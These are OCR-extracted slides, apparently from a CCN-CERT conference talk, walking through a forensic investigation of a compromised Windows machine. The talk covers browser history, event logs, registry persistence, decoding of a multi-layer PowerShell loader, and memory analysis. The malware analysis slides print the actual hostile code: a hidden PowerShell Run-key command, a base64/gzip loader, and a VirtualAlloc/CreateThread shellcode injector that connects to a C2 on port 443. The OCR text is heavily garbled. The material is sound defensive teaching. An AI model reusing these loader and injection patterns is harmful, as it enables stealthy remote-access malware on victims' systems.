29/11/2018 10:04:34  03/11/2018 10:04:24  03/11/2018 10:04:24 05/05/1829 23:50:03 Visited: pepe.contento@https://gocgleads.g.doubleclick.net/xbbe/pixelTd= CZDKEDNjygYI9Gn QzAB&v=AP
29/11/2018 10:04:34  03/11/2018 10:04:34  03/11/2018 10:04:34 05/05/1829 23:50:03 Visited: pepe.contento@https://s0.2mdn.net/4906728,15361364 58529/ index.html
291172018 10:04:37 03/11/2018 10:04:37 03/11/2018 10:04:37 0 Visited: pepe.contento@https://cookie.brealtime.com/getuid?https://simage2.pubmatic.com/AdServer/Puc
29/11,/2018 10:04:37  03/11/2018 10:04:37 03/11/2018 10:04:37 0 Visited: pepe.contento@https://ads.playground.xyz/usersync/apnThttps://simage2.pubmatic.com/AdServer,

pepe.contento@http://sharepoint.mina.es:8000/felicidad.html
pepe.contento@https:/fwww.facebook.com/cennect/ping?client_id=160427764002568 &domain=wn A
pepe.contento@https:/a230.casalemedia.com/ifnotifyfgdpreonsent=18c=1835C6 8r= CT93D05F &it:
pepe.contento@https://a230.casalemedia.com/ifnotify?gdpreonsent=181c=122927B&r= CTFFD011 &
pepe.contento@https://a230.casalemedia.com/ifnotify?gdpreonsent=18.c=122927B&r= CeFDD0OSAS
pepe.contento@https:/fwww.facebook.com/cennect/ping?client_id=160427764002568 &domain=wn

pepe.contento@https://a230.casalemedia.com/ifnotify?gdpreonsent=181c=1835C6&r=DFAT D064 Bt
pepe.contento@https://a230.casalemedia.com/ifnotify?gdpreonsent=18.c=ACA43C8ur=DEFFDOSC&
pepe.contento@https://a230.casalemedia.com/ifnotifyfgdpreonsent=18tc=122927 C&r=DEFFD0O3 D&
pepe.contento@https://umn2.eqads.com/um/cs

pepe.contento@https://cl.adform.net/imatch/pixelsTuid=8362346784934664 246 &agencyld=2726&a ~
}

259 record(s), 1 Selected

NirSoft Freeware. http:iwww.nirsoft.net
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Paso 2 : Historial web

WIZILEL: PEPE LUTILENTLLNETILLE G U UL Ed U U WU U EL T R TTEL ALY FIACH U= L LD LN Y Y T IO LAD O = A

Visited: pepe.contento@https://s0.2mdn.net/4906728,/15361 36458529/ index.html

Visited: pepe.contente@https://cockie. brealtime.com/getuid?https://simagel. pubmatic.com/Ad5Server/Puc
Visited: ' '

simaged.pubmatic.com/AdServer

Visited: : cok.com/connect/ ping fchent_id=160427764002568 Btddomain=w
Visited: pepe.contento@https://a230.casalemnedia.com/ifnotify?gdpreconsent=181c=1835C68r=C795D05F &t
Visited: pepe.contento@https://a230.casalemedia.com/ifnotify?gdprconsent=18c=122927B88r=C7FFD011 &

Visited: pepe.contento@https://a230.casalemedia.com/ifnotify?gdprconsent=18c=122927B & r= CAFDDO5SAS
Wicited nene rontentn@httno SSansnn farehnnl comlennnecrt rinn?ehient id=1ROA 2T TRAMNASAR R dnrnain—ian

pepe.contentol®
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Paso 2 : Historial de navegacion web

= Acceso web a sharepoint.mina.es
= MINA I= MINAF

= Dominio antiguo de la Organizacion
recomprado por los atacantes
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= |OC: Conexion a la web sharepoint.mina.es
= Deteccion: Logs del proxy/cortafuegos

» Truco: Buscar en TODOS los logs
disponibles, buscar en los historiales
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Paso 3: Logs de eventos

= Registro de la actividad del sistema

= Seguridad, Sistema, Aplicacion + extras
= Formato .evtx (binario)

= FventID: identificador de evento

= Tool: Visor de eventos de Windows
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Paso 3 : Logs de eventos covcart

Microsoft-Windows-User Profile Service®40perational_2 MNdmero de eventos: 462

CIBER_

SEGURIDAD

Mivel Fecha y hora Origen Id. del evento  Categoria de la tarea i
@Infurmacic’m 03/11/201811:01:24 User Profile Service 1 Mingunc 4
@Informacién 03/11/2018 10:59:18 User Profile Service 2 Minguno

@Informacic’m 03/11/2018 10:59:18 User Profile Service 5 Mingunco

{Dlnformacién 03/11/2018 10:59:18 User Profile Service 5 Minguno

I:DIr1f|::trmzu::i|:ftr1 03/11/2018 10:59:18 User Profile Service 1 Minguno

@Informacic’m 03/11/2018 10:45:40 User Profile Service 2 Mingunc

@Informaciﬁn 03/11/2018 10:45:40 User Profile Service 5 Minguno

I:DIr11‘u:rrmzu::iu:’rr1 03/11/2018 10:45:40 User Profile Service 5 Minguno -
Evento 5, User Profile Service X

General | Detalles

El archive del Registro ChUsers\dom.adm. MINAFntuser.dat esta cargado en HEUS-1-5-21-4217457921-347679429-1194345710-1104,
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LT Paso 3 : Logs de eventos covcert

System_2 Muimero de evento

Mivel Fecha y hora Origen il
@Infﬂrmaciﬁn 03/11/2018 11:09:07 Service Control Manager D
@Informaci&n 03/11/2018 11:07:32 Service Control Manager
@Informaciﬁ-n 03/11/2018 11:06:57 Service Control Manager
@Infurmaciﬁn 03/11/2018 11:08:31 Service Control Manager
'ﬁ' Error 03/11/2015 11:05:49 Service Control Manager
Iﬁ:}'Ir11‘u:trrr1zu::i|5nr1 03/11/2018 11:05:49 Service Control Manager
@Informaci&n 03/11/2018 11:04:26 Service Control Manager
@Informaciﬁ-n 03/11/2018 11:04:26 Service Control Manager
@Informaciﬁn 03/11/2018 11:04:00 Application-Experience
I:DIr11‘|:rrma|::i|5lr1 03/11/2018 11:03:37 Service Control Manager
anF nnnnn P 241 019 11.402.204 Crmarm (Tamtrnl Kdlamanar i
] ] 3
Evento 7045, Service Control Manager x
General | Detalles
Se instald un servicio en el sistema.
Mormbre del servicio: weajmz
Mormbre del archivo del servicioe cmd.exe /c echo weajmz > \WW\pipelweajmz
Tipo de servicio: servicio de modo usuario
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Paso 3 : Logs de eventos

» Un administrador de dominio ha iniciado
sesion en el equipo

= Se ha iniciado un servicio extrailo en e|
sistema

H m B #XIJornadasCCNCERT E H H HE E B www.cch-cert.cniies m E B



Paso 4: Persistencia

= Persistencia: permanencia en el sistema

= Objetivo: sobrevivir a un apagado

= Habitual: sistema (HKLM) / usuario (HKCU)

= Claves Run, Services, WMI, tareas programadas

= Encontrar la persistencia = pillar el malware
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CIBER_ , , _
Paso 4 : Persistencia et (G
(8 et 25 S = =S

File Help

Hive File: IC:\Users‘\arrtuniu'\Desktup\Furense_MINAF\F‘asud Browse |

Report File: II::‘\Users\arrtuniu"\Desktup\FurE:ﬂse_M|N.ﬁ.F\F'EISﬂ-I1 M

Profile: Isaﬁware LI

winbackup...Done.
win_cv...Done.

winevt...Done.
winlogon...Done.
winlogon_tin...Done.
winnt_cv...Daone.
winver...Daone.
yahoo_lm...Done.

1 plugins completed with emors.
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CIBER_ . .
SEGURIDAD Paso 4 : Persistencia

v. 20130603

(Software) [Autostart] Get autostart key contents from Software hive

Microsoft\Windows\CurrentVersion\Run

LastWrite Time Sun Nov 21 @3:57:16 2618 (UTC)
Microsoft\Windows\CurrentVersion\Run has no values.
Microsoft\Windows\CurrentVersion\Run has no subkeys.

Microsoft\Windows\CurrentVersion\RunOnce

LastWrite Time Thu Sep 13 28:15:22 2018 (UTC)
Microsoft\Windows\CurrentVersion\RunOnce has no values.
Microsoft\Windows\CurrentVersion\RunOnce has no subkeys.
Microsoft\Windows\CurrentVersion\RunServices not found.
Wows432Node\Microsoft\Windows\CurrentVersioniRun
LastWrite Time Sat Sep 1 ©3:11:46 2818 (UTC)

BCSSync - “C:\Program Files (x86)\Microsoft Office\Officela\BCSSync.exe™ /DelayServices
Wows432Node\Microsoft\Windows\CurrentVersion\Run has no subkeys.
Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
LastWrite Time Tue Jul 14 @4:53:25 2889 (UTC)

Wowb432Node \Microsoft\Windows\CurrentVersioniRunOnce has no values.
Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce has no subkeys.
Microsoft\Windows\CurrentVersion\Policies\Explorer\Run not found.

Wows432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run not found.

Microsoft\Windows NT\CurrentVersion\Terminal Server‘\Install\Software\Microsoft\Windows\CurrentVersion\Run not found.
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SEGURIDAD

Paso 4 : Persistencia

v.281408115

(NTUSER.DAT) [Autostart] Get autostart key contents from NTUSER.DAT hive
Software\Microsoft\Windows\CurrentVersion\Run
Lasthrite Time Sat Mov 3 18:83:32 2818 (UTC)
Felicidad2.@: %COMSPECX® /b /c start /b /min powershell -nop -w hidden -c "sleep @; iex([System.Text.Encoding]::Unicode.@etString([
System.Convert]: :FromBases45tring( (Get-ITtem "HKCU:FeliciSoft').GetValue( ' 'Happisoft'}))) )"
Software\Wows432Node\Microsoft\Windows\CurrentVersioniRun not found.

software\Microsoft\Windows\CurrentVersion‘\RunOnce
LasthWrite Time Thu Sep 28 19:84:16 2818 (UTC)

Software\Microsofti\Windows\CurrentVersion\RunOnce has no wvalues.
Software'\Microsofti\Windows\CurrentVersion\RunServices not found.

Software'\Microsofti\Windows\CurrentVersion\RunServicesOnce not found.

H m B #XIJornadasCCNCERT E H H HE E B www.cch-cert.cniies m E B



CIBER_

SEGURIDAD

Paso 4 : Persistencia

v.208148115

(NTUSER.DAT) [Autostart] Get autostart key contents from NTUSER.DAT hive
Software\Microsoft\Windows\CurrentVersion\Run
LasthWrite Time Sat Mov 3 18:88:32 2018 (UTC)
Felicidad2.@: ¥COMSPECX /b /c start /b /min powershell -nop -w hidden -c “sleep 8; iex([System.Text.Encoding]::Unicode.GetString([
System.Convert]::FromBase645tring((Get-Item 'HKCU:Felicisoft').GetValue( 'Happisoft'))))"
Software\Wows432Node\Microsoft\Windows\CurrentVersion\Run not found.

software\Microsoft\Windows\CurrentVersion\RunOnce
LastWrite Time Thu Sep 28 19:84:18 2818 (UTC)

software\Microsoft\Windows\CurrentWVersion\RunOnce has no wvalues.
software\Microsoft\Windows\CurrentVersion\Runservices not found.

software\Microsoft\Windows\CurrentWVersion\RunServicesOnce not found.
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CIBER_

SEGURIDAD

o Registry Explorer v1.1.0.6
Options Bookmarks (19/0) View Help
‘ Reqistry hives {2) | Available bookmarks (42/0) |

File Tools

Paso 4 : Persistencia

Key name # values # subkeys

7 Aflc

‘l:
[}l:

[=
|>I:
=
L.,l:
3 =
|>I:
|>I:
[=
|>I:
|>I:
|>I:

I | C\Users\antonio\Desktop\Forense MINAF...
4 | C\Users\antonio\Desktop\Forense_MINAF...
CMI-CreateHive {0436 12B3-0985-40DB-B4Fa-F6...

AppEvents
Console
Control Panel
Enwironment
ELIDC
Felicisoft
Identities
Keyboard Layout
Metwork
Printers
Software
System

GGGGGU\HDNG%GG
[
I

(oS = ¢ I Y R e IR P S o [ SR o |

Last write timestamp

2018-11-03 15:00: 27
20158-11-03 15:00:32
20158-11-03 10:08:32
2018-09-04 13:57:15
2018-09-04 13:57:15
2018-09-04 13:58:35
2018-09-04 13:57:15
2018-09-04 13:57:15
2018-11-03 10:08:32
20158-09-04 14:06:14
2018-09-04 13:57:15
2018-09-04 13:57:15
2018-09-04 13:57:15
20158-11-03 10:01:24
2018-09-04 13:57:15

N-C

<entro criptolégico nacional

Values

Arrastre una columna agui para agrupar por dicha columna

Value Mame Value Type Data Value Slack
¥ | afc Aflc Aflc Afc
» HappiSoft Reg5z aBmACgAWWBIAG4EA, ., 00-00

Type viewer | Slack viewer | Binary viewer

Value name IHappiSuFt
Value type IF‘.egSz
Value aQBEmACgAWWEIAGIAdABQAHQACOBdADOAOGETAGkAEGBIACAAL -

CEIAHEAIAADACKARWAKAGIAPQANAHAADWE 3AGLACOEZAGOAZOE
sAGWALgBIAHgAZQANAHDAZQBsAHMAZ QB 7ACQAYgASACOAZBU
AHYADOE3AGkAbOBKAGKACOAr ACCAX ABZAHKACWE SAGEAdWAZAD
QAXABXAGKkADgBKAGEAWEZAFAADWE 3AGUACOETAGOAZCBSAGW
AXABZADEALgAWAFWACABYAHCAZOBYAHMAZABIAGWADAAUAGLA
eABIACCATOATACOACASAEIAZOR SACOATWBIAGOAZ OB AHQALA
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Paso 4: Persistencia

= Persistencia en espacio de usuario
= Clave en HKCU qgue llama a un Powershell
= Script codificado en base64
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= |OC: Existencia de la clave de registro
-eliciSoft + HappySoft

= Deteccién: Script que busque la clave

= Truco: Desplegar script via GPO, volcar
resultados a una unidad compartida
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Paso 5: Andlisis del malware

= Decodificar el codigo base64
= Objetivo 1: identificar el malware

= Objetivo 2: extraer dominios o IP de comandoy
control (C2)
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Subimos a MARIA el malware sin decodificar

Andlisis del fichero I-bichol.txt

Fecha: 2018-11-26 10:15:09

Nombre: 1-bichol.txt

Tamafio: 5937 bytes

Tipo de fichero: ASCII text, with very long lines, with no line terminators

Tipo MIME: text/plain

MD5: 1dc770c21adcfa7869%e23a4baf79098b

SHA1: fd7faca6flaec24d693062745af6c9678102c5had

SHAZ256: 4add7ccaeB05afcf7251c6dc28clc7ieedbf4a2dfd3e9ce2ct0e043885f5alec

Resultado: NEGATIVO

Negativo
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Paso 5: Analisis del malware cov-cert (&

Decodificamos el base64

M Simbolo del sistema .

C:%Usershantonio'\Desktop' Forense_MINAF\Paso6_Bi1choSistema=b6d. exe -d bichol.txt > bichol_decoded. txt

C:%Usershantonio'Desktop' Forense_MINAFPaso6_B1cho5istemax
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SEGURIDAD

cov-cert

Paso 5: Analisis del malware
Powershell anidado (varias capas de ofuscacion)

if([IntPtr]::Size -eq 4)
1%b="powershell.exe"}
else

{$b=%fenv:windir+ " \syswow64\WindowsPowerShell\vl.@\powershell.exe'};

fs=New-Object System.Diagnostics.ProcessStartInfo;

$s.FileName=%b;

$s.Arguments="-noni -nop -w hidden -c &([scriptblock]::create((New-Object I0.StreamReader(New-Object IO0.Compression.GzipStream((New-Object
I0.MemoryStream(, [Convert]: :FromBaseg4String( " "HAsTAKIz3VsCATVIL2/a0hT+uZX6P@QTUNIt5day TatUe TodQ@kLTXmVockkT jCYmDpOelz73+81a2nt fduV7oRCMc+5/1c7/
£8B+HrqQaVKbRogNB0zZ k+6mCE14qWcSFLKLMVF33c6UdHs ID ] 8usaUsavhYxkgypfyhpoL i4qsRAk] T3 INTFEVKOWMURI quF cGMyLT6c 18T LypfFyx/
MNxge¥YphbbCnZnRD1FoZestbmLk3zyzopRgalfvqje+LQBydceYswiTXW2kSTLvMeYqis/9GTDu+2KaKpNXcEj7svBgIbnZ,/ leaGG T XEOBR2ITONe pOpQBnWEKBET IUNBSY TDUqbCSCO4izxPkChSDWWCx
BSPIn9p43Tj2ziUdEnyViiJaCuHiEfgkijfxKHHyC3xJ+D1SEHDYKLrYPBIFATLhTF jhwInYbRrssSg+l@n7alUTWHk@ASEBrvCbe7F jBxclVey TQSgw/ MkAgDvxBnxybaf SWbra7rXLzUDo6PxTkwga3D
I703vFSKhmLDT1hysYXX3121iT55g1f1ibIXGG/71z]jMH34PIWZ c79TbwIleKac5jyazbyuzSnwakuo2xEvqZul TXk0Z+IzsK8xnZ teQkaamC8SrEKYCLBPYEr]/

castgXzyNWPKPCKQCaxFkBWQgP+cz IEITOVCmywBoMM7qC/ ng+RIZp3KT IvtnryDkVphOIoMpRPDMXMNxSGYECIQUE jRAANFku+HENDGd swkdXEks3AT/

Y¥BiuluFhSEUsQuMQeV3zogqdF LMECENpUo+YAca2a7qqzBUMGNWDCDS I9AAMENS jkx@ICDBPed63IHSWGA YWY LN,/ ujX6a07gokdi3wsHBBRT T 84w/ 1Bt gk0aAvsgyHealo T SpkiNAa/
EkxBPvIt7xeNATKoC]IyoGUHY 2xuZaLlmHDnr J1pMEdnXLy TUXhd8aeK I fOwTGoT2rnBDKwiekRUy 2 ZUXTI TWEGT Z803RCATXP31XrKmz IKgbmY+syLKbnldg 325w/
tpx+iTol5151LGnXhw05g5q3vZGEt10z jhyXo/ Julal7p4288abwchifulkVzs5sHnj+q+n7wyXduSx/qtD2odM316WSXa3F7YKINY jmg@XWzS3vdRasupeMwz 2/
EAxLnzHdtMWBX+L2zkKoMTt3dy2/35jZ3nbUpGReKLZpF3URunJve71GsAcaESpE7 j+gwhiwxOmyvNMAK/ ad z6wMxur261Xs3s4hve0X9fLZTuvYda/
XeIWevmNZgFemiIPLQr3AWz8gTGfClxa7CPleC1PvM4akqELLBTRdHT /BGREQAY49pcc4TpdINAPIA71H)7MQa /@b tce7UTh/
FEFXn5LIEVWMLtEAU23ugxNhbRDDNEEXpndmbgXNTTht jhNPHOEP1FuiALJAxuIbinMvEh r ibtOND34574NChkwu jBEPz s 1dHUv I kqD4-36Wzq4uTe@gRBg+bybRIGEMYUNHTFInTcd4gqZchBp/
vZIKX221TIKRNGZATY3LInHIROMS P/ h/wUrP10x+vHBFE3nuH1Z /CBCikZT7y+ TPE3BEShIXPsBUgqUD ] YGRWSX@BECpMFSc2ndArPyvpk/ zruon 16 T SCTHWMICY4rdgkAfd==""1)), [
I0.Compression.CompressionMode]: :Decompress))).ReadToEnd()))";

$s.UseshellExecute=%false;
$s.RedirectStandardOutput=$true;
$s.WindowStyle="Hidden";
$s.CreateNoWindow=%true;
$p=[System.Diagnostics.Process]::5ta

HE E B www.cch-cert.cniies m E B
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SEcusioen Paso 5: Analisis del malware covcert

Se puede usar Powershell para superar la ofuscacion:

$a = $(New-Object IO0.StreamRe (Ne ion.GzipStream( (New-Object I0.MemoryStream(,[
Convert]: :FromB ing("H AK W2/ al lTHhItJdeTatUE (LTXmVockkTJOYmDpOekz734+81162nt Fduv7oRCMc+5/1c7/
t8jB+HrqQ8VKbRogN80zk+6mCB 14 (113 fINIFEUPLﬂAHJR]quchGﬂyLIﬁclﬁTlvpfFN»'“
Y C KpNXcEj7swBgIbnZ/leGGGTX 2
KHHyC x]+Dl1EHDTHerPhIFHTLhTthwInthr; g+1en7alTWHWke
1T55§1f]1hI*GG,?l ]1MH-4PIHLchThh jyazbyuzSnwaku
]ﬁca'tq,h ) ]
fElulth AF LMECENpUo+YlW4cG2 :
(0TI TJyoGUHY 2xuZalmHDnr J1pMEd nX Ly TUXhd8
( ¥o/JulaI7pd28@abwckful

5jZ3nbUpGReKLZpF3URunIve?
ﬂCPlHClP~¢H- E1LBT&dHT/ 49 Id7] i ! xNhbRDDNgEXpndmbgXNTThitjhN

Aule@gRBg+bybRIGEMYUNHTFINTc4qZchB TIKX (RNGZ, AnH1ROMSP/ h/
UgqUDjYGRwSX@BgCpMFSc2ndArPvpk/ zruonl6 TXcSCTHIWMICY4rdgk:
n.Compr =l|RE 13).ReadToEnd()
Out-File -FilePath bicho2.txt -InputObject Sa -Encoding ASCII
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SEGURIDAD

cov-cert

Paso 5: Analisis del malware

Tercer nivel de ofuscacion (matrioska code)

function yfUQN {
Param (
[Parameter(Position
[Parameter(Position

@, Mandatory = $True)] [Type[]] Fra4dg,
1)1 [Type] $q9b = [void]

)

$di = [AppDomain]::CurrentDomain.DefineDynamicAssembly ((New-Object System.Reflection.AssemblyName('ReflectedDelegate’)), [
System.Reflection.Emit.AssemblyBuilderAccess]: :Run).DefineDynamicModule( ' InMemoryModule ', $false).DefineType( 'MyDelegateType', 'Class,
Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

$di.DefineConstructor( 'RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,
$rddg).SetImplementationFlags( 'Runtime, Managed')

$di.DefineMethod (' Invoke', 'Public, HideBySig, MNewSlot, Virtual', $q9b, $radg).SetImplementationFlags('Runtime, Managed')

return $di.CreateType()

}

[BytE[]]V = [System.Convert]::FromBase64String (™ /01iCAAAAYINIMcBki1AWi1TIMiI1TIUi3ToD7dKIjHS
rOxhfAIsIMHPDOHHAWISVALSETEKPTEMEX j jSAHRUYEZIAHT iekY4zplizSLAdY X/ 6zBzw@Bxz jgd YD fg7fSR1SFiLWCQBO2aLDEuLWBWEe4sE iwHQIUQkIFtbYV1aUf/
gX19aixLrjVioMzIAAGh3czITWEhMdyYHie j/@L1QAQAAKCRULGEPEGSA/ IVgAKhKY2ThaAlAAbulS1BQUFBAUEBQaloP 34D/ 1Z2dqEFZXalmldGH/ 1Y XAdAz /
Tghl7Gjwtalw/9vgAGoEV1doAtnIX/ /VizZqQGEAEAARVMOARF 1kUHX/ 1ZNTagBWULdoATnIXN,/ /VACMpXnXuww=="

$xa = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bskP kernel32.dll VirtualAlloc), (yfUQN @([IntPtr], [UInt32], [
UInt32], [UInt32])} ([IntPtr]}}).Invoke([IntPtr]::Zero, [ePV.Length,8x3000, 0x48)
[System.Runtime.InteropServices.Marshal]: :Cu:upy(‘uf, 8, %xa, V.lengthj

$fg = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((bskP kernel32.d1l CreateThread), (yfUQN @([IntPtr], [UInt32], [
IntPtr], [IntPtr], [UInt32], [IntPtr])} ([IntPtr]))).Invoke([IntPtr]::Zero,8,%xa,[IntPtr]::Zero,8,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer(({bskP kernel32.dl]l WaitForSingleObject), (yfUQN @([IntPtr], [

Irt22 1454 . Invoke ( $Ffe . @xfFFFFFFFFy | Out-Null
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LT Paso 5: Analisis del malware v-cart (G

La decodificacion en base6b4 genera un shellcode que puede ser
analizado con scdbg.exe

C:%UsersiantonioyDesktop'Forense_MIMAF'Paso&_BichoSistemarscdbg. exe /T bicho3_decoded. txt
Loaded 11b bytes from file bicho3_decoded. txt

Initialization Complete..

Max Steps: 2000000

Using base offset: 0401000

LoadLibraryA(ws2_32)

WSsAStartup(190)

WsASocket(af=2, tp=1, proto=0, group=0, flags=0)
connect(h=42, host: 100.99.98.97 , port: 443 ) = 7lab4al?
Ex1tProcess(-1157562366)

Stepcount 1120817

C:%UsershantoniohDesktoph Forense_MIMNAFPaso6_BEicho5istemax
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LT Paso 5: Analisis del malware v-cart (G

.. 'y conseguimos su C2 !

C W UsershantoniohDesktop'\ Forense_MINAF\Pasoé_Bicho5istema»scdbg. exe /T bicho3_decoded. txt
Loaded 11b bytes from file bicho3_decoded. txt

Initialization Complete..

Max Steps: 2000000

Using base offset: Ox401000

LoadLibraryaA({ws2_32)

WsAStartup(190)

WsASocket(af=2, t p=0, flags=0)

connect (h=42, hos 100.99. 98. 97 port: 443 ) = 7lab4al07?
Ex1tProcess(-1157

Stepcount 1120817

C W Usershantonio’Desktop'\ Forense_MINAF\Paso6_Bicho5istema»
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SEGURIDAD

4
<entro criptolégico nacional

Subimos a MARIA el malware decodificado

Analisis del fichero 6-bicho3 decoded.txt

Fecha: 2018-11-26 10:15:54 Resultado ~ Malware
Nombre: 6-bicho3_decoded.txt POSITIVO  Trojan.Dos.Shellcode.ewfvwj
Tamafo: 283 bytes

. . POSITIVO  Generic.RozenaA.DD32C459
Tipo de fichero: data

Tipo MIME: applicationfoctet-stream NEGATIVO
MD5: 54612c440059f0944clagc5b6c0elar? e ——
SHAL: 521119385d77{24c689a2558777b0fd29fd4c7a4
SHAZ256: b13a81ffeca25if65109c888b1101a5658621dc6deb7af7hc2a335ebh660462f NEGATIVO
NEGATIVO
Resultado: POSITIVO
NEGATIVO

. POSITIVO  Trojan.Win32.Meterpreter
POSItIUD POSITIVO  Generic.RozenaA.DD32C459
NEGATIVO
NEGATIVO
NEGATIVO
NEGATIVO
NEGATIVO

POSITIVO  Generic.RozenaA.DD32C459

POSITIVO  Generic.RozenaA.DD32C459(DB)

Negativo POSITIVO  Win.Trojan.MSShellcode-7
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Paso 5: Analisis del malware

» Se ha decodificado el malware
= \/arios niveles de ofuscacidén
» [P del C2: 100.99.98.97:443
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SE(g’REER- cuceﬂ-

» |OC: 100.99.98.9/, puerto 443
= Deteccion: Logs del proxy/cortafuegos

» Truco: Buscar en TODOS los logs
disponibles, buscar en los historiales
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Paso 6;: Memoria RAM

= Andlisis con Volatility (Rekall es otra opcion)
= TODO esta en la memoria
= Conexiones, registro, ficheros, eventos...

= (casi) Se podria resolver el incidente con la RAM

H m B #XIJornadasCCNCERT E H H HE E B www.cch-cert.cniies m E B



CIBER_

SEGURIDAD

Paso 6;: Memoria RAM

Analizamos las conexiones de red con netscan:

coN-cert

<entro criptolégico nacional

TCPw4 10.11.0.11:50553 10.11.0.100:445 CLOSED -1

TCPFw4 10.11.0.11:50485 2.16.65.18:443 CLOSED -1

UDE~r4 0.0.0,0:3702 S 1284 svchost.exe
TCPw4 10.11.0.11:50541 2.16.65.18:443 CLOSED -1

TCPwo fef0::aled:90b3:fb00:af46: 53171 feB0::2906:624d:5b55:87E5:25006 ESTABLISHED -1
TCPw4 168.156.209.1:0 -:0 CLOSED -1

TCPw4 10.11.0.11:50555 2.16.65.18:443 ESTAELISHED -1

TCPFw4 10.11.0.11:53262 101.132.122.231:443 ESTABLISHED -1

TCPw4 120.129.210.0:0 -:0 CLOSED -1

TCPw4 10.11.0.11:50554 2.16.65.18:443 ESTAELISHED -1

TCPFw4 10.11.0.11:53288 10.11.0.100:49155 ESTABLISHED -1

H m B #XIJornadasCCNCERT E H H
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SEGURIDAD

Paso 6;: Memoria RAM

Analizamos las conexiones de red con netscan:

TCPwv4 10.11.0.11:50553 10.11.0.100:445 CLOSED -1

TCPwv4 10.11.0.11:5049% 2.16.65.18:443 CLOSED -1

TDE~4 0.0.0.0:3702 ®aE 1284 svchost.exe
TCPv4 10.11.0.11:50541 2.16.65.18:443 CLOSED -1

TCEvE feB0::2163:20b3:fb00:2f46:53171 feB80::2906:6e4d:5b59:87b5:25006 ESTAELISHED -1
TCPv4 168.156.209.1:0 —:0 CLOSED -1

TCPwv4 10.11.0.11:50555

TCPwv4 10.11.0.11:53262 101.132.122.231:443 ESTAEBLISHED

TCPwv4 120.1292.210.0:0 .

TCPwv4 10.11.0.11:50554 2.16.65.13:443 ESTAELISHED -1

TCPwv4 10.11.0.11:53288 10.11.0.100:49155 ESTAELISHED -1
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Paso 6;: Memoria RAM

Analizamos los procesos activos con pstree:

Oxfffffa8003c09b00  svchost . exe
OxfffffaB80024f5130:: sppsve.exe
OxfffffaB003ceabll::svchost .exe
Oxfffffag8003Tb32f0icerss.exe
Oxfffffaf0038b2bi0 iwinlogon.exe
Oxfffffas8003b524b0 ivds . exe
OxfffffaB800378ckb00:1=5as=..exe
OxfffffaB8001850710:5y=tem
OxfffffaB8002e60040: 2m=s . exe
OxfffffaB8003988b00 :explorer.exe
OxfffffaB001bSabll:explorer.exe
Oxrfffffas0024fdb 00 : CUTLOCOK . EXE
Oxfffffaf00lbed4700:iexplore . .exe
Oxfffffa8002839060 :wscript.exe
OxfffffaB0021e8b00:rundll132 .. exe
Oxfffffas8002f60kb00 : cmd. exe
Oxfffffas0021fecd480 riexplore.
OxfffffaB8001c7e2cliiexplore.
Oxfffffag001f1a7c0:
Oxfffffas001bdf0el iiexplore.
. OxFfffffad0020ckhie0 iiexplore.
Oxfffffas8003bfiaal cmd.exe
Oxfffffas001f25910 1 winpmem. exe

exe
exe
iexplore.exe
exe

cXe

H m B #XIJornadasCCNCERT E H H

748 452 20
1512 452 0 —-—-
372 452 28
352 372 g
436 372 3
3060 452 13
484 380 i

4 0 92
268 4 2
2880 2808 22
2232 852 32
3428 2232 28 P
231le 2232 1a
3652 231a i
1100 3652 a
2008 1100 0 —-—-
4068 231e 13
14582 231a 21
3440 231le 24 1
472 231le 28
35964 231le i 2
288 2232 1
3136 288 1

2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03

09:
14:
05:
059:
09:
14:
08:
09:
09:
059:
14:
1a:
14:
1a:
1a:
10:
1a:
14:
14:
1a:
14:
14:
14:

59:
01:
55:
559:
a9:
53:
559:
59:
59:
559:
01:
04:
01:
05:
05:
OB:
04:
55:

0z

01:
03:
a7
a7

4
<entro criptolégico nacional

0&
10
0a
05
05
44
05
0z
0z
20
25

f=1
(=]

33
03
16
31
44
54
135
34
24
24
48

UTC+0000
UTC+0000
UTC+0000
UIC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UIC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UTC+0000
UIC+0000
UTC+0000
UTC+0000
UTC+0000
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SEGURIDAD

Paso 6;: Memoria RAM

Analizamos los procesos activos con pstree:

Oxfffffaf8003c09b00 : svchost . exe
Oxfffffa80024f5130: sppeve.exe
OxfffffaB8003ceabi0: :svchost . exe
OxfffffaB80037b32f0 :carss..exe
OxfffffaB0038b2bl0 :winlogon . exe
OxfffffaB8003b524b0 ivd=s . exe
Oxfffffa800378ckbi0:15ass.exe
Oxfffffa8001850710:5y=stem
Oxfffffaf8002e60040:5mss.exe
Oxfffffaf800393E8b00 1 explorer.exe
: 32001k > >
Oxfffffag0024fdb00 : OUTLOOK . EXE

OxfffffaB001bed700:iexplore.exe
OxfffffaB8002839060 iwscript .exe

Oxfffffas0021le8b00 i rundll32 .exe
Oxfffffas002feskb00 icmd. exe

Oxfffffas00lcTe2cl iiexplore.
Oxfffffas001fla7clriexplore.
Oxfffffas001bdf0c0 riexplore.
.. OxfffffaB0020cbibl:iexplore.
. Oxfffffa8003bf5aal:cmd.exe
Oxfffffas001f25910 Wwinpmem. exe

2exe
2xXe
2xXe
2xXe
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T48 452 20
1512 452 o -—-
372 452 28
3592 372 g
436 372 3
3060 452 13
48 38
4 0 a2
268 4 2
28a0 2808 22
=

1452 231e 21
3440 231e 24 1
472 231e 28
35964 231a g 2
288 2232 1
3136 288 1

621
074
9l
403
21
47

2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03

2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03

2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03
2018-11-03

09:
1a:
09:
09:
059:
14:
059:
09:
09:
08:

14:
